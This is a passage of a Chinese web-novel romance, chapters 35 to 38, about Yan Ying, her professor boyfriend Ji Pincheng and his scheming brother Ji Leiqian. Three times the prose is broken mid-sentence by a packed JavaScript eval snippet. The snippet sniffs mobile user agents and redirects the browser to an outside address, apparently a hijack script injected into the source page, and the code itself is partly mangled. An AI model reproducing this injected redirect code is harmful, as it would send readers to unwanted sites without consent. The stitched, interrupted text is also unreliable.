“你以后不许…”他的声音又一下子变低,“不许再躲着我了。” 晏迎的心脏跳了一下,几天没近距离接触,一本正经的季老师怎么有点变成一朵娇花啦? 季品诚皱眉,他用一个新学的词批判晏迎:“晏迎,你知不知道你特别双标。” 晏迎挑眉,这几天季品诚到底在网上看了什么,还知道“双标”这个词了? 她咬住下嘴唇,含了一抹意味深长的笑:“季老师,那你来说说,我怎么个双标法?” 被季品诚一本正经地“批判”,也是一种情趣呢。 “我不开心,我难受的时候,你都鼓励我直接表达出来,让我不要憋着,不要自己一个人难受。” “你总和我说人有情绪是最正常不过的事情,要让爱的人知道,而不是冷处理,自己躲起来难受。” “事情落到你自己身上,你怎么就不记得了?” 晏迎目光闪烁,一时间哑口无言。 她唇角的笑意淡去,抬眼对上他的眼睛。 他的眼睛很认真地看着她,和她刚刚的嬉皮笑脸形成了鲜明的对比。 晏迎轻声和他道歉:“对不起。” 季品诚伸手替她整理她耳边掉落的碎发,他摇摇头,丝毫没有责怪她的意思。 “你知道的,晏迎,我不是在怪你。” 他这话一出来,让晏迎的眼角有点发酸。 “我只是希望,你以后难过的时候可以找我,你想倾诉或者是哭一顿都可以,不要再用不在乎或者是无所谓掩盖自己的难过了。” 这话他说得平和温柔,可每一个字都如同响起的雷声,在她的脑海里滚过。 晏迎别开眼睛不去看他,她偷偷眨巴了两下眼睛,想让眼睛里涌出来的泪水,赶紧掉落。 那眼泪刚从眼眶出来,别被人用手指抹去了。 他的动作很轻,这泪水融在他的手指上,成为她共他此刻情感链接的钥匙。 他们身体里的一部分,因为此刻,成为共生的一体。 这份不问原由的相通不需要彼此作太多的解释和说明,但她的难过,季品诚从来不会轻视。 他只要她别不理她。 电光火石之间,手指上的潮湿似乎在与他的大脑通电。 一个声音在他脑海里响起。 “你看,你也学会了爱,不是吗?” 晏迎的视线变得模糊不清,她也不知道为什么,自己在这一刻这么想哭泣。 她一咬牙,索性把头埋在了他的胸膛里。 那是最靠近他心脏的位置,她的眼泪将那片位置变得湿漉漉,仿佛是从天而降的雨,灌溉一个人孤独许久的心脏。 那片干涸的荒芜处,因为几点雨,渐渐冒出新翠的芽。 他感受到她的眼泪,有些痴迷地想,或许自己上辈子是一颗快要枯死的草,然后她偶然路过,好心浇过一次水。 季品诚没有说一句话,他沉默地将她揽进自己的怀里,轻轻拍着她的背。 不需要多问什么,多说什么,拥有此刻已经足够。 他们维持着这个动作也不知道过了多久,昏黄的灯光之下,两只绕着灯泡双飞的飞蛾都累了,它们停歇在灯杆上,注视路灯下面拥抱着的人类。 晏迎从他怀里抬起头,听到了他的笑声:“我还以为你睡着了。” 晏迎抗议:“我又不是长颈鹿,才不会站着睡觉呢。” 她有点不好意思地指了指他胸口处的位置:“被我的眼泪打湿了,抱歉。” 季品诚忽略了衣服的问题,这事在他心里根本排不上号。 他只是问她:“你现在心情好点了吗?” 晏迎笑嘻嘻地看着他,这次她的笑容,是真的发自内心。 “当然啦!在又帅又温柔又体贴的男朋友怀里哭完,难过就立马被释放掉了!” 她的眼睛还有点红红的,但是格外有神,里头融着暖色的光,倒映着他的模样,在季品诚眼里,她的眼睛胜过世界上所有珍贵的珠宝。 季品诚今天喷的香水味留香时间格外长久,这味道残留的后调将晏迎包裹住,让她平静下来。 玫瑰味道浓郁,将仅存的苦乌木味吃干抹净,融为一体,再不分离。 晏迎冲季品诚眨眨眼睛:“我发誓,我以后再也不会故意躲着你了。” 虽然晏迎也知道自己的发誓和放屁没什么区别,但现在,她真的是真心的。 严谨一点来说,她对季品诚发过的誓都是真心的。 季品诚笑了,他揉揉她的脑袋:“嗯,心情好一点就好。” 晏迎晚饭只吃了一个苹果,她的肚子“咕噜”叫了一声。 “饿了?” “饿死我了,流眼泪也是消耗卡路里的!” 这个说法季品诚还是第一次听说,他也不去细想这个说法的准确性,他开口问晏迎想要吃些什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243345|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏迎沉思了一下,却没有回答这个问题。 他们的手触碰在一起,然后自然而然地十指缠绕握住。 “季品诚,我想问你一个别的,更重要的问题。” “你说。” “如果你发现过去的我,有很多或许你不能接受的往事,你还会像现在这样喜欢我吗?” 月色清冷如霜,洒满他们行走的道路。 季品诚侧过头,对她注目,目光温柔,同洋洋洒洒降落的月光混合在一起,交织成网。 他自己也置身在那张无形的大网之中,无法摆脱,也不想摆脱。 “我喜欢现在的你,所以无论曾经的你经历过什么,我都不会因为那些过去的事情,而减少对你的喜欢。” 季品诚的语气一顿:“我也有不愿意提起的往事,所以很明白你现在的心情,没有遇见你之前,我也被很多过去的事情,过去的人困恼过。” “不管过去的我们怎么样,晏迎,请对你自己,也对我,都自信一点。” 晏迎笑了,她点点头:“好,我对我们,都自信一点。” “我,晏迎,世界上最可爱最聪明最有魅力的女人,你,季品诚......” 她还没说完,就被他打断了。 “我,季品诚,世界上最可爱最聪明最有魅力的女人的男朋友。” 两个人都笑了起来,不管过去发生过什么,现在,就是最好的。 晏迎抬起头,再一次看见了悬挂在天际的一轮月亮。 每每望月,她的心境都不一样。 年少的绝望,长大后的迷惘,以及,此刻的宁静。 一些缠绕在她心上的结,在她与月的对望中,逐渐松动。 季品诚的声音在她的耳畔响起:“晏迎,你看到月亮旁边亮着的几颗星星了吗?” 晏迎仔细去看,那一组不规则的星星里,三颗并排的星星尤其闪亮。 “看到了,这是什么星座吗?” 季品诚握紧她的手,回答道:“这是猎户座,在冬天尤其好认,朝南边抬头就能看到,冬天的猎户座更正,更亮,也更明显。” 晏迎伸手数了数天上的星星,感叹道:“这些星星离我们好远啊。” “它距离我们有一千三百五十光年,我们此刻看到的猎户座星光,来自一千多年前的唐朝时期。” 光的传播需要时间,而这个时间,恰好是唐朝到现在。 “这么这么久远!” “嗯,两颗相邻的星光都有可能相差了几十万年。” 晏迎思考了一下,对季品诚笑道:“那我可以对猎户座许愿吗?” “当然可以,三星高照里的福禄寿三星,就是指猎户座腰带上的三颗星星。” 晏迎与那明亮的三颗星星对望,原来在浩瀚的宇宙里,也有这样亘古绵长的祝福。 那是不是千百年后,她和季品诚一起沐浴过的星光,也会以另外一种形式再现? 季品诚低头问她:“你想许什么愿望?” 晏迎在他低头的瞬间,捧住了他的脸,然后吻上了他的唇。 她在吻上他的瞬间,看向了他的眼睛,眼镜好碍事,早知道先摘掉了... 两个人温柔的呼吸混合在一起,他一闪而过的诧异慢慢变成了笑意。 晏迎松开了他,呼吸见呼出的白色雾气将他的眼镜蒙住,让季品诚看不清。 他听到了她的声音,还带着微微的喘气。 她说:“我的愿望是,我要我们永远在一起。“ 白雾散去,他将她的眼睛重新看清,那双眼里的情意,几乎要随着泪一起溢出来。 “我还要,全宇宙,见证我们。” 见证,比金子还要可贵的感情。 千百年后,也依然不变。 36. 36 晏迎和季磊谦的再次见面是在一个下午,她刚刚结束和一家大公司甲方的谈判,处理完一些事情之后,她去了公司楼下一家咖啡店准备喝杯咖啡吃块小蛋糕补充一下体力。 刚刚点完单,就有人拉开了她对面的椅子坐了下来。 晏迎皱眉:“怎么是你?” “怎么不能是我?”季磊谦冲她笑了笑,“你就这么不愿意看见我?” 晏迎冷哼一声坐正身体,直视他的眼睛:“我和你之间没什么好说的,如果我们之间非要有什么关系的话...” “我是你哥哥的未婚妻。” “哎呦,”季磊谦听到这话眯了眯眼睛,他的眼睛里都快要长出熊熊燃烧的小火焰了,但他嘴角还是上扬着笑的,“你们…都到这一步了?” 晏迎知道人在气到无语的时候,是会假装自己很开心地笑出来的,她抿了抿嘴,也挺想笑的,但又怕进一步激怒这个疯子。 她稍微缓和了一下自己的语气:“我和你哥哥很相爱,小叔子,你放过我们吧。” 季磊谦嘴角抽搐,拿起菜单点了一杯冰美式准备压压火。 晏迎语气诚恳:“你喜欢我哪里,我改。” 服务生把他们点的东西一起端上来,晏迎看了一眼神色阴沉的季磊谦,主动把他那杯冰美式的钱一起结了。 “不用,”季磊谦给服务生使了一个眼色,“这位小姐点的东西都直接从我的会员卡上扣。” “你还有这家店的会员卡?” 季磊谦面无表情地看她一眼:“刚刚办的,不可以吗?” 知道他是真生气了,晏迎赶紧给他顺顺毛:“可以可以,你还真的是…好兴致。” 季磊谦换了一个舒服的姿势,和她对视。 “我追女孩子一向都很有兴致和耐心。” 晏迎闭上眼睛三秒,偷偷翻了一个白眼。 她睁开眼睛,面含微笑地继续引导着这位难缠的小叔子:“季磊谦,君子不夺人所好,我是你哥哥的女朋友。” “我又不是君子。” “季磊谦,我是你嫂子,你得有礼义廉耻。” “古往今来娶嫂子的还少吗,哦,对了,我没有礼义廉耻。” 晏迎感觉自己,被雷劈了。 季磊谦很坦然地喝了口咖啡,还用勺子从她盘子里挖走一块蛋糕尝了尝。 “嗯,好吃。”他挑衅似的对晏迎露出微笑。 “季,磊,谦。”晏迎一字一顿地叫他的名字,声音清脆,像是要一口咬上这家伙的脖子。 “我在呢,darling。”他用那张温润君子的脸,笑嘻嘻地回应她,一脸很享受的样子。 此人腹黑程度,晏迎觉得自己还是低估了。 她叹了一口气,认认真真看向他:“我知道你不缺女人,喜欢我八成也是一时兴起,对不对?” “你觉得我很有意思,还一部分原因,大概是因为我是你哥哥的女朋友,就像是争抢玩具一样,他拥有的东西,你也想得到,我说的对吗?” 季磊谦又点了一份马卡龙,他把精致的白瓷盘子推到她面前,示意她尝尝。 “你刚刚说的因素其实还不够资格让我这么大费周折。” 他咀嚼着甜蜜的马卡龙,冲晏迎露齿一笑:“我就是喜欢你啊,喜欢就得得到,不是吗?” 他凑近晏迎一点,脸上是不加掩饰的征服欲:“其实你不管是谁的女朋友,谁的妻子,我遇到你,我都会想要把你抢过来。” 晏迎思考了一下,从包里拿出一张名片递给季磊谦。 季磊谦笑着接过,以为她想明白了。 名片上是一所心理康复中心的地址和电话号码。 晏迎真诚道:“小叔子,嫂子觉得你得住进去好好让医生给你看看,哦,对了,你平时有事没事少看点乱七八糟的东西,脑子会被看坏的。” 季磊谦:“……” 他的大脑现在一片空白,幸好他身体素质优秀,万一有点什么心脏病或者三高,立马就能被她气过去。 “晏,迎。”他咬牙切齿,一字一顿地叫她的名字。 “我在呢,小叔子。” 回旋镖终于扎到了季磊谦的身上,他此刻扶着额头,胸腔起伏。 真的要被她给气死了,爱有多深,现在他就有多气。 这女人真的是油盐不进。 晏迎继续道:“也许你只是喜欢想象中的我,如果我真的和你在一起了,你或许会觉得我脾气坏,毒舌,贪婪,小心眼…” 晏迎细数着自己的罪状,季磊谦抬头打断了她的话。 “那我们就在一起试试,你不试试怎么知道我喜欢的不是真实的你,你不试试怎么知道我们不合适,你不试试怎么知道我没有他好?” 他一口气说完这么多话,还觉得不够:“晏迎,我是真的喜欢你,你别不相信。” 晏迎觉得嘴里的巧克力蛋糕,一下子不甜了,浓重的苦涩味袭来,就像是这段纠缠不清的孽缘。 季磊谦循循善诱:“你可以偷偷和我在一起,不耽误你和他谈恋爱,你两个一起试试,比较一下谁更好,更适合你。” “???”晏迎觉得自己其实挺开放一个人,但是和季磊谦比起来简直是小巫见大巫。 不儿,光天化日之下,他是怎么把这种话说得那么理所当然,光明正大,人之常情的? 而且这家伙怎么一脸得意,就差把“我聪明吧”这几个字写在脸上了。 她觉得心理康复中心已经治不好季磊谦了,她要给他推荐精神病院。 晏迎咬牙,憋了半天,憋出一个“滚”字。 太可怕了,季品诚这么好的人怎么会有这样变态的弟弟,难怪季品诚要和季家割席。 歹竹,一家子歹竹,就出了季品诚一个好笋。 季磊谦把晏迎给他的心理康复中心的名片重新推了回去,他冷笑着挑眉:“晏迎,这东西你不应该给我,你应该给他。” 他继续挑拨离间道:“你还不知道他的病吧…” “我知道!”晏迎最受不了有人拿季品诚的病情说事,她的声音一下子变得有点大,周围喝咖啡的人纷纷向她瞩目。 季磊谦闭上了自己的嘴。 晏迎平复了一下自己的心情,她降低音量,但语气无比坚定:“不用你提醒,我知道,他就算有阿斯伯格又怎么样?我依然会选择他。” 他们之间一时静默无声,谁也没有再说话。 晏迎想到了什么,抬头直视季磊谦的眼睛。 “你不是调查过我吗?你大可把我的事情告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243346|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,又没什么好见不得人的,我晏迎一人做事一人当。” 说到这事上,季磊谦回视她的目光:“晏迎,我没有想要威胁你的意思,我只是想用这件事告诉你,他这样情感淡漠和缺失的人,因为这件事情放弃你也不是没有可能。” 他笑了笑,语气中堆满嘲讽:“我不相信这种基因里就没有感情的人,会和你谈个恋爱就改变什么?他这人啊,说不定绝情起来比谁都绝情。” 晏迎很平静,她甚至还有心情吃块点心,她现在急需甜蜜的东西刺激一下她的味觉,好把所有苦涩都消磨干净。 季磊谦的目光游离在她脸上,带着恶趣味地提醒她:“万一他特别嫌弃你在意你的过去要和你分手,你到时候可别太伤心。” 他这话一说出口,晏迎就笑了。 她站了起来,以一种居高临下地姿态看向他。 季磊谦微微仰头,和她的目光对视,她云淡风轻地开口道:“我的过去?我没什么过去见不得人的?” “我只是杀了一个人渣而已。”她说完这句话,甚至还扬起唇角微微笑了一下。 季磊谦看着她那双平静的,透着向上生长的生命力的眼睛,突然心口一阵火热,仿佛天降星星之火,在他心脏的某处迅速燎原。 他遇到过很多女人,但这种像玫瑰又似雪松的女人,他还是第一次见。 季磊谦一时间失语,他就这样坐在位置上,目光根本无法从她的脸上移开。 晏迎小幅度地俯下身体,离他很近,披着的头发发梢无意间拂过季磊谦的脸,惹得他面颊发痒。 他一动不动地和她对视,仿佛灵魂游离,被她的一切所吸引,只留下一句躯壳。 晏迎开口,温热的呼吸吹过季磊谦的眼睛,他下意识地闭眼,想象成她马上就会亲吻自己。 晏迎的视角里,她不知道这家伙为什么要闭眼,也不懂他为什么眼睫毛颤抖地那么厉害。 简直莫名其妙。 季磊谦听到了她的声音。 她说的是:“你刚刚说他绝情,那我告诉你,我这个人光明磊落,愿赌服输。” “我选择他,他以后负心,绝情,我自己认了。” 季磊谦睁开了眼睛,深深望向她的眼底,阳光洒在她的侧脸上,让她看上去美好动人如一片筋络舒展,生机勃勃的绿叶。 不管环境多恶劣,她都可以茁壮成长。 “季磊谦,你别想挖墙脚钻空子,我只要和他在一起一天,就不会喜欢上别人。” 晏迎站直身体,和他告别:“我公司还有事,先走了,感谢你请客的下午茶,小叔子。” 几分钟后,季磊谦从愣神中反应,她已经消失不见。 他抬手摸了摸自己的面颊,那里还是有些痒,是刚刚被她的头发碰到的地方。 痒意像是轻轻啃咬他的小虫子,把他向来自视清高的心,蛀了一个大洞。 季磊谦拿起放在桌子上的手机,打电话给助理。 “去和南城大学的人说,捐赠会提前两天。” 他握紧手机:“没有理由,不要问为什么,就按我说的去做。” 关掉电话,季磊谦望向落地窗外,被明媚的太阳光刺了下眼睛。 他可真的是…迫不及待想要和这位大哥叙叙旧了。 37. 37 关于捐赠会莫名其妙被提前两天的事情也传到了季品诚的办公室。 他只是听了几句办公室老师的讨论,并不参与其中,只是低头认真做着自己的事情。 有时候下午没课的时候,他还会收到来自晏迎的投喂。 有奶茶,有小蛋糕,有时候会是健康一点的水果切盘和糖炒栗子。 有他的一份,也有晏远的一份。 季品诚的办公桌也在谈恋爱之后有了变化。 比如多了一盆叫“小绿”的绿萝。 这是晏迎送去他的,说小绿和她办公室的那盆翠翠是一对儿,嘱咐季品诚好好照顾小绿,可不能让翠翠年纪轻轻就守寡。 比如多了很多盲盒摆件。 晏迎有抽盲盒的兴趣爱好,但是她不喜欢重复的,每次抽重复了都送给季品诚,美其名曰:“你一个,我一个,多浪漫啊。” 比如多了一些奇奇怪怪的小零食。 眼球形状的糖果、香菜味的辣条、肥皂巧克力、六神花露水味的口香糖以及红花油味道的汽水,晏迎非常喜欢体验新奇的事物,她一个人吃这些奇奇怪怪的东西多没意思,所以每次都会拉上季品诚一起测评。 这些小小的改变,已经彻底融入到了季品诚的生活里。 他不仅不排斥,还非常地享受这一切改变。 晏远暗地里偷偷对晏迎吐槽过季品诚。 “姐,你把那些小玩意给季老师的时候别看他表面上云淡风轻的样子,实际上他背地里拿到手可稀罕了,天天摆在办公室桌子上看。” 今天,晏迎给季品诚点了草莓和抹茶双拼的蛋糕盒子和一盒巧克力泡芙。 季品诚把外卖拿回来的时候,办公室的老师都在。 他打开外卖袋子,把包装精致的蛋糕拿了出来,里面居然还有一朵玫瑰花。 一张纯白色的卡片挂在玫瑰花上,上面是两行潇洒飘逸的行书。 “今天特别想你,派小蛋糕和玫瑰花来找你。” “翠翠也特别想小绿,麻烦季老师代为传达。” 季品诚拿着卡片一笑,悄悄红了耳朵,他把这张小卡片夹在了自己的笔记本里。 这都是她对表达爱意的证据,不能丢。 他甚至想过要全部存起来,看看可以积攒多少。 有老师眼尖,看到了眼他桌子上堆着的小蛋糕和玫瑰花。 他们压低声音,小声交流。 “诶,你看到了没,这是第几次了?” “你们才看出来啊,他桌子上那几个最新款的联名盲盒手办一看就不是他会买的东西。” “刚刚还拿着花上的小卡片傻笑呢,几百年都不笑一次的人,最近和着魔了一样。” 季品诚拆开了小蛋糕的包装,拿着勺子挖一口品尝。 很好吃,草莓的清甜和抹茶的微苦完美地中和在了一起。 手机上显示晏迎发来了消息。 “季老师!我的爱心下午茶味道怎么样!我可是自己尝过之后觉得好吃才给你点的,这个味道你应该会喜欢吧。” “里面的玫瑰花是我今天买的,本来只想给你送蛋糕,但中午休息时间路过花店,发现门口的玫瑰实在新鲜,所以忍不住又买了一朵给你。” “别忘记替翠翠转告小绿,她很想他,当然,我也很想你。” 季品诚放下吃蛋糕的勺子,拿起手机一条条回复。 他不自觉地笑了,眉眼弯弯,眼带笑意,唇角上扬,怎么也压不下来。 他是真的开心,所以笑得满心满意。 办公室看到他笑容的老师们集体沉默了。 他们面面相觑,用眼神无声地交流。 季品诚才不管别人呢,他专心地回复晏迎。 “味道很好,我很喜欢,我上次刷到一家新开的甜品店,有空我请你吃。” “玫瑰花很好看,我一会把它插在瓶子里养起来。” “嗯,我马上告诉小绿,翠翠想它了。” 季品诚其实犹豫了一下要不要告诉晏迎,植物其实是听不懂人说话的,因为植物没有神经系统和大脑,无法像动物一样处理和理解语言信息。 但他想想还是算了。 他拿出放在办公桌上的喷壶,给小绿补充了一下水分,然后压低声音道:“小绿,翠翠很想你。” 办公室现在特别安静,他说话的声音被坐在他附近的老师听见了。 其他老师偷偷用眼睛瞄了他一眼,表情扭曲。 季老师这是……走火入魔了? 有八卦的老师终于忍不住了:“季老师,我看你最近点下午茶挺勤的呀嘿嘿。” 季品诚从电脑里抬头,和说话的老师对视一眼:“不是我点的,是我女朋友点的。” “季老师你谈恋爱了?!” 季品诚不知道他们为什么这么惊讶,他从容地点了点头,言简意赅道:“对。” 周围人纷纷倒吸一口凉气。 季品诚看他们一眼,觉得奇奇怪怪的,他这个年纪谈恋爱不是很正常吗? 张峰故意大声道:“季老师的女朋友肯定不是一般人,要不然怎么可以拿下咱们天文学院最难搞的男人呢?” 他朝季品诚笑道:“一定很漂亮很优秀吧?” 季品诚喝了口红茶润润嗓子,他和张峰对视:“嗯,确实很漂亮很优秀,你不是也见过面了吗?说起来我能和我女朋友认识,也多亏了张教授。” 办公室的老师此刻眼睛睁得大大的,他们看了看季品诚,最后又把目光投向了张峰。 季品诚说得平静温和,但张峰不知道为什么,总觉得他话藏了根刺,颇有点来者不善的样子。 张峰绞尽脑汁想了想,突然灵光乍现,季品诚的女朋友不会是那谁吧?! 季品诚看出了张峰不可思议的微表情,他笑了笑:“看来张教授记性还是不错的。” 他们两个人的哑谜,只有他们懂什么意思,办公室的老师想问也不敢问。 季品诚不再搭理张峰,低头继续吃女朋友送的爱心下午茶。 张峰觉得自己得出去抽支烟冷静一下。 不是,他实在是想不明白,这两个人无论是性格还是脾气都天差地别,他们两个人可以凑一对,这在张峰眼里看来是和火星撞地球一个概率的事情。 他回头看向季品诚的工位:“季老师,你可得注意点,这种女人心眼多,心机重还城府深,你可别被她骗了。” 其他老师虽然都低着头做自己的事情,但耳朵都竖着听他们讲话。 季品诚拿着勺子的手微微一顿,他抬起头,平静地和张峰对视,目光冷冽。 他放慢自己的语速,让所有人都听得清清楚楚。 “这是我的事,和你无关,不劳你操心。” 张峰脾气也上来了,嘀咕了一句:“我这不是好心提醒你?好心当成驴肝肺。” “不需要你的好心,你的好心要是实在是没处使,可以去喂学校里的流浪猫流浪狗。” 办公室的老师低头,捂嘴,咬牙,发抖,憋笑。 有人实在是憋不住了,颤抖地笑出了声来。 整个天文学院,也只有季品诚敢对张峰说这话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249956|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 张峰气得从椅子上站起来,他用手指着季品诚:“你……” 季品诚看他一眼,不愿意再搭理他。 神经病有什么好理的。 “季老师,近朱者赤近墨者黑,你现在已经被她污染成什么样子了?你…你怎么可以说出这种话?你在这样下去,你和她这种人有什么区别?” 季品诚专心吃自己手上的蛋糕不去看张峰,但他咀嚼的动作变得缓慢了。 他露出一个微笑,诶,刚刚张峰话里的意思是说…… 他和晏迎变得越来越像了? 嗯,看来晏远和苏阿姨没有骗他。 晏远上次和他说:“姐夫,你现在的毒舌程度不输我姐。” 苏阿姨也说过:“季教授和晏迎认识之后,长得也有点相像啊,难道这就是传说中的夫妻相?” 他听这些话的时候在看书,他随口“哦”了一声:“是吗?我觉得还好吧。” 等她们不在,晏迎抱着刚炸好的薯条坐在他旁边看电影,季品诚的目光无数次偷偷从书里移开,再降落在晏迎的脸上。 她现在因为电影片段太恐怖而皱眉吸气,抱紧了手上的薯条桶。 季品诚往她这里坐过来一点,目光还是牢牢在她的脸上。 晏迎正在专心看电影,她看的是一部风格诡异的悬疑片《圣鹿之死》。 她知道季品诚凑了过来,她没有看他,只是拿了根薯条塞在他的嘴里。 “好吃吗?我这次放在空气炸锅里烤得时间应该正好,上次都快炸成薯干了。” “好吃。”他的目光还是看着晏迎,没有挪开。 晏迎微微侧过头,对上季品诚的眼睛,她拉远一点和他的距离,严肃地指控他。 “季品诚,我正在看恐怖片呢,你别莫名其妙坐我旁边盯着我看,怪吓人的。” 季品诚有些疑惑:“我坐在你旁边不是应该更有安全感吗?” 晏迎倒吸一口凉气:“才不呢,越是熟悉的人越可怕好吗!” 她重新坐回季品诚旁边的位置,靠着他笑道:“从我刚刚来这坐下来开始,我就发现你一直在看我了,有事找我?” 季品诚合上手上的书:“没什么,就是看看我们两个长得像不像。” 晏迎:“???” 他把苏阿姨和晏远的话对着她重复了一遍,晏迎被他给逗笑。 她故意对季品诚道:“其实谈恋爱是不会让人越来越相像的,但是做一件事情倒是有可能越来越像。” “什么?”季品诚真的有点好奇。 晏迎凑到他耳边,压低声音道:“咱们脾气和长相上面越来越像,可能是因为,最近我经常亲你,亲多了的缘故。” “季老师,你还不知道吧,两个人亲嘴亲多了,就会越来越像的。” 晏迎说完这句话,手便不老实地摸上了他的脸。 就在晏迎要吻上去的瞬间,季品诚的声音响起。 “这个理论很有趣,它有什么依据吗?” 晏迎想要亲他的动作顿住,她嘴角抽搐:“没有,这是本小姐说的,我就是它最大的依据。” 季品诚在她气呼呼地眼神里愣住,随即也低头笑了。 他非常有眼力见地摘掉了自己的眼镜,对着她露出自己不加修饰的眼睛。 那双眼,像是聪明的小鱼,钻进晏迎的心里。 他主动把脸送到晏迎面前,在邀请她的亲吻。 晏迎露出邪恶的笑容,在《圣鹿之死》“嘣”的一声枪响里。 她捏住了季品诚的下巴,狠狠吻上了他的唇。 38. 38 捐赠会的那天,季磊谦特意好好收拾了一番自己。 不过他并不准备出场,他已经让助理写好致辞,替他上台演讲握手走个过场就好。 他还有更加重要的任务和目的,就是去见多年未见的情敌,哦不,哥哥。 他真的很想知道,季品诚那个哑巴似的冷血鬼现在到底变成了什么样子,可以让晏迎那么喜欢。 为了这次见季品诚,他可是下足了功夫。 身材管理上,他很有自信,尤其是这半个月,他在健身房更是加强了锻炼和塑形的强度,确保身材堪比米兰时装周最好的男模。 穿衣打扮上,他聘请了顶尖的服装设计师,给他私人订制了一套完美贴合他身材的西装。 领带的颜色,腕表的款式,连喷什么味道的香水都尽心设计。 更不用说他还去南城最高档的美容院办了一张超级会员卡,把自己本来就好的皮肤又重新护理美白了一遍。 修眉,理发,季磊谦甚至还在脸上眼下的位置点了一颗黑色的小痣。 晏迎脸上这个位置也有一颗,到时候故意让季品诚看见他和晏迎的情侣痣,气死他。 助理见到他容光焕发地从衣帽间出来的时候都看呆了。 不就是个捐赠会吗?以前比这大的场面都多了去了,老大至于把自己折腾得像是去好莱坞拿奖一样吗? 季磊谦表面上镇定自若,走路带风,无视聚焦在他身上的目光,但内心的得意都快要喷涌出来了。 刚刚照镜子的时候,他都快要被自己迷倒了,世界上怎么会有自己这么帅的男人? 他不相信季品诚见到这样意气风发的自己不自卑,晏迎见到这样英俊潇洒的自己不心动。 哼,他今天就要好好会会季品诚。 捐赠会在南城大学举办得如火如荼,后台张峰非常热切地和王助理握手寒暄,眼眶里硬是挤出了几滴眼泪。 “非常感谢季先生对我们南城大学天文学院的支持,您无私奉献的精神每一位天文学院的老师和学子都会铭记的!” 王助理感觉自己的手都被他握得有点疼,他“嘶”了一口气,赶紧松开了张峰的手。 “张教授,我是季先生的助理,您叫我小王就好。” 张峰眨巴了两下眼睛,收回了满眼眶的热泪,他有些尴尬地笑了笑:“原来您不是季先生啊,那今天季先生有事情没来?” 王助理退后几步,拉远和他距离,似笑非笑道:“季少当然来了,但他还有别的更重要的事情,一会上台您只要配合我走个流程就可以了,其他不该问的,不该说的,您应该知道。” 季品诚知道外面的捐助会办得盛大,没课的学生基本上都去凑这个热闹了。 他才不乐意去呢,一个人在实验室里也清净。 他弄完最后一组实验数据,就推开了实验室的门,准备来休息室小眯一会。 打开手机,晏迎又更新了一组朋友圈动态。 是维娜新养的小猫,今天它偷偷跑来办公室找晏迎玩,晏迎逮住它一顿撸猫,还和它合拍了好几张照片。 照片上,她的脸和小猫贴在一起,小猫一点也不怕她,还伸出舌头去舔她的脸。 季品诚笑着给她点了一个赞。 季磊谦见他一直在低头看手机傻笑,匪夷所思地看他一眼,自己这么英俊挺拔一个人站在这里他看不见吗? 他咳嗽几声,终于让季品诚注意到了他。 与他的光鲜亮丽不同,季品诚身上的白大褂还没有来得及脱下来,他最近因为一些熬夜看文献和做测算数据,眼镜下面还有点黑眼圈。 唉,他得意地想,待会季品诚别自卑地挖个洞走了。 季磊谦笑着看向那张和自己有些相像的脸,整理了一下自己整齐得不能再整齐的领带,和他打招呼道:“好久不见。” 季品诚关掉手上的手机,隔着实验室走廊亮堂的白炽灯灯光和他对视。 季磊谦目不转睛地盯着他的脸,不想错过他脸上任何一个表情。 但他有点失望,因为季品诚并没有被他突然出场的惊喜吓到,反而收起手机放进口袋,两只手插进口袋里很平静地问他:“找我有事?” 季磊谦朝他走近几步,他也没有退后,还是镇定自若地看着他,就像是小时候看还是小孩子的他一样。 惶恐,惊讶,自卑,逃避… 这些他所期待的表情,通通没有出现在他的脸上。 甚至最该死的是,他居然长得还比他要高一点! 他看向他的时候,目光低垂,从容地让季磊谦破防。 他们两个站在一块,谁是更成熟更稳重的男人,用肉眼就可以一较高下。 季磊谦咬牙,很明显,对方的气质比他从容自然得多,显得自己的精心打扮非常刻意。 见他莫名其妙看着自己发呆不说话,季品诚疑惑地又重复了一遍。 “季磊谦,你找我有事?” 他居然还那么淡定地叫出自己的名字! 在季磊谦的预想中,他已经想好了他见到自己肯定会落荒而逃,然后自己一下子抓住他的衣袖,把晏迎所有的资料扔到他面前,让他捡起来一张张看。 他先是要挑衅他,然后再善良地劝说他放弃她,说不定还不用他劝说,他自己冷着脸看完之后就会主动打电话给晏迎提分手。 他才不相信他这样的人真的会把感情看得很重要。 季磊谦阴暗地想着,晏迎和自己才是一个世界里的人,同类就应该在一块,季品诚这种异类就不该打扰他们。 他缓过神来对上季品诚毫无波澜的眼睛,假笑道:“这么多年没见,特意找你来叙叙旧。” 神经病,季品诚看他一眼,没事找事。 季品诚看他一眼:“你要是没有什么重要的事,我就先走了。” 他这副无所谓的态度成功激怒了季磊谦。 